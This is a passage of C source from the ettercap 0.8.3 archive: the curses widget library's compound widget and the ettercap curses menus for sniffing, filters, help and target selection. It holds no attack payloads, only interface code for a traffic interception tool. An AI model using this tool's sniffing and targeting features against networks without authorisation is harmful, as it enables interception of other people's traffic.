*wo, int key, struct wdg_mouse_event *mouse); /*******************************************/ /* * called to create a compound */ void wdg_create_compound(struct wdg_object *wo) { struct wdg_compound *ww; WDG_DEBUG_MSG("wdg_create_compound"); /* set the callbacks */ wo->destroy = wdg_compound_destroy; wo->resize = wdg_compound_resize; wo->redraw = wdg_compound_redraw; wo->get_focus = wdg_compound_get_focus; wo->lost_focus = wdg_compound_lost_focus; wo->get_msg = wdg_compound_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_compound)); ww = (struct wdg_compound *)wo->extend; TAILQ_INIT(&ww->widgets_list); } /* * called to destroy a compound */ static int wdg_compound_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e, *tmp; struct wdg_compound_call *c; WDG_DEBUG_MSG("wdg_compound_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->win); /* destroy all the contained widgets */ TAILQ_FOREACH_SAFE(e, &(ww->widgets_list), next, tmp) { wdg_destroy_object(&e->wdg); WDG_SAFE_FREE(e); } /* free the callback list */ while (SLIST_FIRST(&ww->callbacks) != NULL) { c = SLIST_FIRST(&ww->callbacks); SLIST_REMOVE_HEAD(&ww->callbacks, next); WDG_SAFE_FREE(c); } WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a compound */ static int wdg_compound_resize(struct wdg_object *wo) { wdg_compound_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a compound (it redraws all the contained widgets) */ static int wdg_compound_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); WDG_DEBUG_MSG("wdg_compound_redraw"); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_compound_border(wo); /* the first time we have to allocate the window */ } else { /* create the outher window */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_compound_border(wo); } /* refresh the window */ redrawwin(ww->win); wnoutrefresh(ww->win); wo->flags |= WDG_OBJ_VISIBLE; /* redraw all the contained widget */ TAILQ_FOREACH(e, &(ww->widgets_list), next) { wdg_draw_object(e->wdg); } return WDG_E_SUCCESS; } /* * called when the compound gets the focus */ static int wdg_compound_get_focus(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* set the focus on the focused widget */ TAILQ_FOREACH(e, &(ww->widgets_list), next) { if (e == ww->focused) e->wdg->flags |= WDG_OBJ_FOCUSED; } /* redraw the window */ wdg_compound_redraw(wo); return WDG_E_SUCCESS; } /* * called when the compound looses the focus */ static int wdg_compound_lost_focus(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* remove the focus from the focused widget */ TAILQ_FOREACH(e, &(ww->widgets_list), next) { if (e == ww->focused) e->wdg->flags &= ~WDG_OBJ_FOCUSED; } /* redraw the window */ wdg_compound_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the compound is focused */ static int wdg_compound_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *wl; /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { wdg_set_focus(wo); /* dispatch to the proper widget */ TAILQ_FOREACH(wl, &ww->widgets_list, next) if (wl->wdg->get_msg(wl->wdg, key, mouse) == WDG_E_SUCCESS) { /* * the widget has handled the message, * set to the focused one */ ww->focused = wl; /* * regain focus to the compound * this is needed because it is always the * compound that must receive the messages */ wdg_set_focus(wo); } } else return -WDG_E_NOTHANDLED; break; /* move the focus */ case KEY_LEFT: case KEY_RIGHT: wdg_compound_move(wo, key); break; /* dispatch the message to the focused widget */ default: return wdg_compound_dispatch(wo, key, mouse); break; } return WDG_E_SUCCESS; } /* * move the focus thru the contained widgets */ static void wdg_compound_move(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_compound, ww); if (ww->focused == NULL) return; /* move the focus to the right widget */ if (key == KEY_LEFT) { WDG_DEBUG_MSG("wdg_compound_move: prev"); if (TAILQ_PREV(ww->focused, wtail, next) != NULL) { /* remove the focus from the current object */ ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; ww->focused = TAILQ_PREV(ww->focused, wtail, next); /* give the focus to the new one */ ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; } } else if (key == KEY_RIGHT) { WDG_DEBUG_MSG("wdg_compound_move: next"); if (TAILQ_NEXT(ww->focused, next) != NULL) { /* remove the focus from the current object */ ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; ww->focused = TAILQ_NEXT(ww->focused, next); /* give the focus to the new one */ ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; } } /* repaint the object */ wdg_compound_redraw(wo); } /* * dispatch the key to the focused widget */ static int wdg_compound_dispatch(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_compound_call *c; /* first: check if the key is linked to a callback */ SLIST_FOREACH(c, &ww->callbacks, next) { if (c->key == key) { WDG_DEBUG_MSG("wdg_compound_callback"); /* execute the callback */ WDG_EXECUTE(c->callback); return WDG_E_SUCCESS; } } /* pass the message to the focused widget */ return ww->focused->wdg->get_msg(ww->focused->wdg, key, mouse); } /* * draw the borders and title */ static void wdg_compound_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * add a widget to the compound */ void wdg_compound_add(wdg_t *wo, wdg_t *widget) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; WDG_SAFE_CALLOC(e, 1, sizeof(struct wdg_widget_list)); e->wdg = widget; TAILQ_INSERT_TAIL(&(ww->widgets_list), e, next); /* set the first focused widget */ if (ww->focused == NULL) ww->focused = e; } /* * set the focus on a widget contained in the compound */ void wdg_compound_set_focus(wdg_t *wo, wdg_t *widget) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; TAILQ_FOREACH(e, &ww->widgets_list, next) { /* remove the focus from the current object */ if (e->wdg->flags & WDG_OBJ_FOCUSED) ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; if (e->wdg == widget) { /* give the focus to the new one */ ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; } } } /* * returns the current focused widget */ wdg_t * wdg_compound_get_focused(wdg_t *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; /* search and return the focused one */ TAILQ_FOREACH(e, &ww->widgets_list, next) if (e->wdg->flags & WDG_OBJ_FOCUSED) return e->wdg; return NULL; } /* * add the callback on key presse by the user */ void wdg_compound_add_callback(wdg_t *wo, int key, void (*callback)(void)) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_compound_call *c; WDG_SAFE_CALLOC(c, 1, sizeof(struct wdg_compound_call)); c->key = key; c->callback = callback; SLIST_INSERT_HEAD(&ww->callbacks, c, next); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/README0000644000175000017500000000245313505247364021744 0ustar koeppeakoeppea============================================================================== ============================================================================== libwdg a collection of widgets for ncurses Copyright 2003-2004 ALoR ============================================================================== ============================================================================== I've started to write this library to "make the things easier" for me while coding the ettercap NG curses interface. While coding this collection of widgets, I've decided to make it a separate library from ettercap, and I've removed any dependency on it. Only the configure script is shared. Someday, probably I'll distribute this library as a separate project. For now, I don't have time to maintain another projects with all the consequences that this implies. No documentation is provided, sorry. But if you understand how to use these functions looking at the ettercap code, you can use the library in your own projects. Drop me an email if you are interested in this project. ============================================================================== vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_offline.c0000644000175000017500000000375413505247364023244 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /*******************************************/ /* the interface */ void curses_sniff_offline(void) { wdg_t *menu; DEBUG_MSG("curses_sniff_offline"); wdg_create_object(&menu, WDG_MENU, WDG_OBJ_WANT_FOCUS | WDG_OBJ_ROOT_OBJECT); wdg_set_title(menu, EC_GBL_VERSION, WDG_ALIGN_RIGHT); wdg_set_color(menu, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(menu, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(menu, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(menu, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* add the menu from the external files */ wdg_menu_add(menu, menu_start); wdg_menu_add(menu, menu_targets); wdg_menu_add(menu, menu_view); wdg_menu_add(menu, menu_filters); wdg_menu_add(menu, menu_logging); wdg_menu_add(menu, menu_help); wdg_draw_object(menu); /* repaint the whole screen */ wdg_redraw_all(); wdg_set_focus(menu); /* add the message flush callback */ wdg_add_idle_callback(curses_flush_msg); /* * give the control to the event dispatcher * with the emergency exit CTRL + X */ wdg_events_handler(CTRL('X')); wdg_destroy_object(&menu); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_help.c0000644000175000017500000000524213505247364022544 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* proto */ void help_ettercap(void); void help_curses(void); void help_plugins(void); void help_etterconf(void); void help_etterfilter(void); void help_etterlog(void); /* globals */ struct wdg_menu menu_help[] = { {"?", 0, "", NULL}, {"ettercap" , 0, "", help_ettercap}, {"curses gui" , 0, "", help_curses}, {"plugins" , 0, "", help_plugins}, {"etter.conf" , 0, "", help_etterconf}, {"etterfilter" , 0, "", help_etterfilter}, {"etterlog" , 0, "", help_etterlog}, {NULL, 0, NULL, NULL}, }; /* macro */ #define SHOW_MAN(x, y) do { \ int ret; \ DEBUG_MSG("curses_help: retriving man page for: " x); \ endwin(); \ ret = system("man " x); \ if (ret != 0) \ ret = system("man " y); \ refresh(); \ if (ret != 0) \ ui_error("Cannot find man page for " x); \ } while(0) /*******************************************/ void help_ettercap(void) { SHOW_MAN("ettercap", "./man/ettercap.8"); } void help_curses(void) { SHOW_MAN("ettercap_curses", "./man/ettercap_curses.8"); } void help_plugins(void) { SHOW_MAN("ettercap_plugins", "./man/ettercap_plugins.8"); } void help_etterconf(void) { SHOW_MAN("etter.conf", "./man/etter.conf.5"); } void help_etterfilter(void) { SHOW_MAN("etterfilter", "./man/etterfilter.8"); } void help_etterlog(void) { SHOW_MAN("etterlog", "./man/etterlog.8"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_start.c0000644000175000017500000000351313505247364022750 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void curses_start_sniffing(void); static void curses_stop_sniffing(void); /* globals */ struct wdg_menu menu_start[] = { {"Start", 'S', "", NULL}, {"Start sniffing", CTRL('W'), "C-w", curses_start_sniffing}, {"Stop sniffing", CTRL('E'), "C-e", curses_stop_sniffing}, {"-", 0, "", NULL}, {"Exit", CTRL('X'), "C-x", wdg_exit}, {NULL, 0, NULL, NULL}, }; /*******************************************/ static void curses_start_sniffing(void) { DEBUG_MSG("curses_start_sniffing"); /* start the sniffing method */ EXECUTE(EC_GBL_SNIFF->start); } static void curses_stop_sniffing(void) { DEBUG_MSG("curses_stop_sniffing"); /* terminate the sniffing engine */ EXECUTE(EC_GBL_SNIFF->cleanup); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_filters.c0000644000175000017500000001203613505247364023263 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define MAX_DESC_LEN 75 /* proto */ static void curses_manage_filters(void); static void curses_select_filter(void *filter); static void curses_load_filter(void); static void load_filter(const char *path, char *file); static void curses_stop_filter(void); /* globals */ struct wdg_menu menu_filters[] = { {"Filters", 'F', "", NULL}, {"Manage filters", CTRL('M'), "C-m", curses_manage_filters}, {"Load a filter...", CTRL('F'), "C-f", curses_load_filter}, {"Stop filtering", 'f', "f", curses_stop_filter}, {NULL, 0, NULL, NULL}, }; /*******************************************/ static wdg_t *wdg_filters = NULL; static struct wdg_list *wdg_filters_elements; static int n_filters = 0; static int add_filter_to_list(struct filter_list *f, void *data) { /* variable not used */ (void) data; SAFE_REALLOC(wdg_filters_elements, (n_filters + 1) * sizeof(struct wdg_list)); SAFE_CALLOC(wdg_filters_elements[n_filters].desc, MAX_DESC_LEN + 1, sizeof(char)); snprintf(wdg_filters_elements[n_filters].desc, MAX_DESC_LEN, "[%c] %s", f->enabled?'X':' ', f->name); wdg_filters_elements[n_filters].value = f; n_filters++; return 1; } static void build_filter_list(void) { while (wdg_filters_elements && n_filters > 0) { SAFE_FREE(wdg_filters_elements[n_filters-1].desc); n_filters--; } SAFE_FREE(wdg_filters_elements); n_filters = 0; filter_walk_list( add_filter_to_list, &n_filters ); SAFE_REALLOC(wdg_filters_elements, (n_filters + 1) * sizeof(struct wdg_list)); /* 0-terminate the array */ wdg_filters_elements[n_filters].desc = NULL; wdg_filters_elements[n_filters].value = NULL; } static void refresh_filter_list(void) { build_filter_list(); wdg_list_set_elements(wdg_filters, wdg_filters_elements); wdg_list_refresh(wdg_filters); } static void curses_manage_filters(void) { if (!wdg_filters) { wdg_create_object(&wdg_filters, WDG_LIST, WDG_OBJ_WANT_FOCUS); } wdg_set_size(wdg_filters, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_title(wdg_filters, "Select a filter...", WDG_ALIGN_LEFT); wdg_set_color(wdg_filters, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_filters, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_filters, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_filters, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_filters, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_list_select_callback(wdg_filters, curses_select_filter); wdg_add_destroy_key(wdg_filters, CTRL('Q'), NULL); wdg_draw_object(wdg_filters); wdg_set_focus(wdg_filters); refresh_filter_list(); } static void curses_select_filter(void *filter) { if (filter == NULL) return; struct filter_list *f = filter; /* toggle the filter */ f->enabled = ! f->enabled; refresh_filter_list(); } /* * display the file open dialog */ static void curses_load_filter(void) { wdg_t *fop; DEBUG_MSG("curses_load_filter"); wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(fop, "Select a precompiled filter file...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(fop, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, load_filter); wdg_draw_object(fop); wdg_set_focus(fop); } static void load_filter(const char *path, char *file) { char *tmp; DEBUG_MSG("load_filter %s/%s", path, file); SAFE_CALLOC(tmp, strlen(path)+strlen(file)+2, sizeof(char)); snprintf(tmp, strlen(path)+strlen(file)+2, "%s/%s", path, file); /* * load the filters chain. * errors are spawned by the function itself */ filter_load_file(tmp, EC_GBL_FILTERS, 1); SAFE_FREE(tmp); } /* * uload the filter chain */ static void curses_stop_filter(void) { DEBUG_MSG("curses_stop_filter"); filter_unload(EC_GBL_FILTERS); curses_message("Filters were unloaded"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses.h0000644000175000017500000000174013505247364021540 0ustar koeppeakoeppea#ifndef ETTERCAP_CURSES_H #define ETTERCAP_CURSES_H #include #define SYSMSG_WIN_SIZE -8 #define CURSES_LOCK(x) do { pthread_mutex_lock(&x); } while (0) #define CURSES_UNLOCK(x) do { pthread_mutex_unlock(&x); } while (0) extern void set_curses_interface(void); extern void curses_input(const char *title, char *input, size_t n, void (*callback)(void)); extern void curses_message(const char *msg); extern void curses_flush_msg(void); extern void curses_sniff_offline(void); extern void curses_sniff_live(void); void curses_hosts_update(void); void curses_plugins_update(void); /* menus */ extern struct wdg_menu menu_filters[]; extern struct wdg_menu menu_logging[]; extern struct wdg_menu menu_help[]; extern struct wdg_menu menu_hosts[]; extern struct wdg_menu menu_mitm[]; extern struct wdg_menu menu_plugins[]; extern struct wdg_menu menu_start[]; extern struct wdg_menu menu_targets[]; extern struct wdg_menu menu_view[]; #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_targets.c0000644000175000017500000003121713505247364023266 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void toggle_reverse(void); static void curses_select_protocol(void); static void set_protocol(void); static void wipe_targets(void); static void curses_select_targets(void); static void set_targets(void); static void curses_current_targets(void); static void curses_destroy_tsel(void); static void curses_create_targets_array(void); static void curses_delete_target1(void *); static void curses_delete_target2(void *); static void curses_add_target1(void *); static void curses_add_target2(void *); static void add_target1(void); static void add_target2(void); static void curses_target_help(void); /* globals */ static wdg_t *wdg_comp; static wdg_t *wdg_t1, *wdg_t2; static struct wdg_list *wdg_t1_elm, *wdg_t2_elm; static char thost[MAX_ASCII_ADDR_LEN]; static char tag_reverse[] = " "; struct wdg_menu menu_targets[] = { {"Targets", 'T', "", NULL}, {"Current Targets", 't', "t", curses_current_targets}, {"Select TARGET(s)", CTRL('T'), "C-t", curses_select_targets}, {"-", 0, "", NULL}, {"Protocol...", 'p', "p", curses_select_protocol}, {"Reverse matching", 0, tag_reverse, toggle_reverse}, {"-", 0, "", NULL}, {"Wipe targets", 'W', "W", wipe_targets}, {NULL, 0, NULL, NULL}, }; /*******************************************/ static void toggle_reverse(void) { if (EC_GBL_OPTIONS->reversed) { tag_reverse[0] = ' '; EC_GBL_OPTIONS->reversed = 0; } else { tag_reverse[0] = '*'; EC_GBL_OPTIONS->reversed = 1; } } /* * wipe the targets struct setting both T1 and T2 to ANY/ANY/ANY */ static void wipe_targets(void) { DEBUG_MSG("wipe_targets"); reset_display_filter(EC_GBL_TARGET1); reset_display_filter(EC_GBL_TARGET2); /* display the message */ curses_message("TARGETS were reset to ANY/ANY/ANY"); /* if the 'current targets' window is displayed, refresh it */ if (wdg_comp) curses_current_targets(); } /* * display the protocol dialog */ static void curses_select_protocol(void) { DEBUG_MSG("curses_select_protocol"); /* this will contain 'all', 'tcp' or 'udp' */ if (!EC_GBL_OPTIONS->proto) { SAFE_CALLOC(EC_GBL_OPTIONS->proto, 4, sizeof(char)); strncpy(EC_GBL_OPTIONS->proto, "all", 4); } curses_input("Protocol :", EC_GBL_OPTIONS->proto, 3, set_protocol); } static void set_protocol(void) { if (strcasecmp(EC_GBL_OPTIONS->proto, "all") && strcasecmp(EC_GBL_OPTIONS->proto, "tcp") && strcasecmp(EC_GBL_OPTIONS->proto, "udp")) { ui_error("Invalid protocol"); SAFE_FREE(EC_GBL_OPTIONS->proto); } } /* * display the TARGET(s) dialog */ static void curses_select_targets(void) { wdg_t *in; #ifndef TARGET_LEN #define TARGET_LEN 50 #endif DEBUG_MSG("curses_select_target1"); /* make sure we have enough space */ SAFE_REALLOC(EC_GBL_OPTIONS->target1, TARGET_LEN * sizeof(char)); SAFE_REALLOC(EC_GBL_OPTIONS->target2, TARGET_LEN * sizeof(char)); wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(in, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(in, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(in, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(in, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_input_size(in, strlen("TARGET1 :") + TARGET_LEN, 4); wdg_input_add(in, 1, 1, "TARGET1 :", EC_GBL_OPTIONS->target1, TARGET_LEN, 1); wdg_input_add(in, 1, 2, "TARGET2 :", EC_GBL_OPTIONS->target2, TARGET_LEN, 1); wdg_input_set_callback(in, set_targets); wdg_draw_object(in); wdg_set_focus(in); } /* * set the targets */ static void set_targets(void) { /* delete the previous filters */ reset_display_filter(EC_GBL_TARGET1); reset_display_filter(EC_GBL_TARGET2); /* free empty filters */ if (!strcmp(EC_GBL_OPTIONS->target1, "")) SAFE_FREE(EC_GBL_OPTIONS->target1); /* free empty filters */ if (!strcmp(EC_GBL_OPTIONS->target2, "")) SAFE_FREE(EC_GBL_OPTIONS->target2); /* compile the filters */ compile_display_filter(); /* if the 'current targets' window is displayed, refresh it */ if (wdg_comp) curses_current_targets(); } /* * display the list of current targets */ static void curses_current_targets(void) { DEBUG_MSG("curses_current_targets"); /* prepare the arrays for the target lists */ curses_create_targets_array(); /* if the object already exist, recreate it */ if (wdg_comp) { wdg_destroy_object(&wdg_comp); } wdg_create_object(&wdg_comp, WDG_COMPOUND, WDG_OBJ_WANT_FOCUS); wdg_set_color(wdg_comp, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_comp, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_comp, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_comp, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_title(wdg_comp, "Current targets", WDG_ALIGN_LEFT); wdg_set_size(wdg_comp, 1, 2, 98, SYSMSG_WIN_SIZE - 1); wdg_create_object(&wdg_t1, WDG_LIST, 0); wdg_set_title(wdg_t1, "Target 1", WDG_ALIGN_LEFT); wdg_set_color(wdg_t1, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_t1, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_t1, 2, 3, 49, SYSMSG_WIN_SIZE - 2); wdg_create_object(&wdg_t2, WDG_LIST, 0); wdg_set_title(wdg_t2, "Target 2", WDG_ALIGN_LEFT); wdg_set_color(wdg_t2, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_t2, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_t2, 50, 3, 97, SYSMSG_WIN_SIZE - 2); /* link the array to the widgets */ wdg_list_set_elements(wdg_t1, wdg_t1_elm); wdg_list_set_elements(wdg_t2, wdg_t2_elm); /* add the callbacks */ wdg_list_add_callback(wdg_t1, 'd', curses_delete_target1); wdg_list_add_callback(wdg_t1, 'a', curses_add_target1); wdg_list_add_callback(wdg_t2, 'd', curses_delete_target2); wdg_list_add_callback(wdg_t2, 'a', curses_add_target2); /* link the widget together within the compound */ wdg_compound_add(wdg_comp, wdg_t1); wdg_compound_add(wdg_comp, wdg_t2); /* add the destroy callback */ wdg_add_destroy_key(wdg_comp, CTRL('Q'), curses_destroy_tsel); wdg_compound_add_callback(wdg_comp, ' ', curses_target_help); wdg_draw_object(wdg_comp); wdg_set_focus(wdg_comp); } static void curses_destroy_tsel(void) { wdg_comp = NULL; } static void curses_target_help(void) { char help[] = "HELP: shortcut list:\n\n" " ARROWS - switch between panels\n" " a - to add a new host\n" " d - to delete an host from the list"; curses_message(help); } /* * create the array for the widget. * erase any previously alloc'd array */ static void curses_create_targets_array(void) { struct ip_list *il; char tmp[MAX_ASCII_ADDR_LEN]; size_t nhosts = 0; DEBUG_MSG("curses_create_targets_array"); /* free the array (if alloc'ed) */ while (wdg_t1_elm && wdg_t1_elm[nhosts].desc != NULL) { SAFE_FREE(wdg_t1_elm[nhosts].desc); nhosts++; } nhosts = 0; while (wdg_t2_elm && wdg_t2_elm[nhosts].desc != NULL) { SAFE_FREE(wdg_t2_elm[nhosts].desc); nhosts++; } SAFE_FREE(wdg_t1_elm); SAFE_FREE(wdg_t2_elm); nhosts = 0; /* XXX - two more loops were added to handle ipv6 targets * since ipv6 targets require a separate list and it is * unreasonable to put both ipv4 and ipv6 at the same list * this code should be completely rewritten. * do it if you have time. * the braindamaged one. */ /* walk TARGET 1 */ LIST_FOREACH(il, &EC_GBL_TARGET1->ips, next) { /* enlarge the array */ SAFE_REALLOC(wdg_t1_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ snprintf(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); wdg_t1_elm[nhosts].value = il; nhosts++; } /* same for IPv6 targets */ LIST_FOREACH(il, &EC_GBL_TARGET1->ip6, next) { /* enlarge the array */ SAFE_REALLOC(wdg_t1_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ snprintf(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); wdg_t1_elm[nhosts].value = il; nhosts++; } /* null terminate the array */ SAFE_REALLOC(wdg_t1_elm, (nhosts + 1) * sizeof(struct wdg_list)); wdg_t1_elm[nhosts].desc = NULL; wdg_t1_elm[nhosts].value = NULL; nhosts = 0; /* walk TARGET 2 */ LIST_FOREACH(il, &EC_GBL_TARGET2->ips, next) { /* enlarge the array */ SAFE_REALLOC(wdg_t2_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ snprintf(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); wdg_t2_elm[nhosts].value = il; nhosts++; } LIST_FOREACH(il, &EC_GBL_TARGET2->ip6, next) { /* enlarge the array */ SAFE_REALLOC(wdg_t2_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 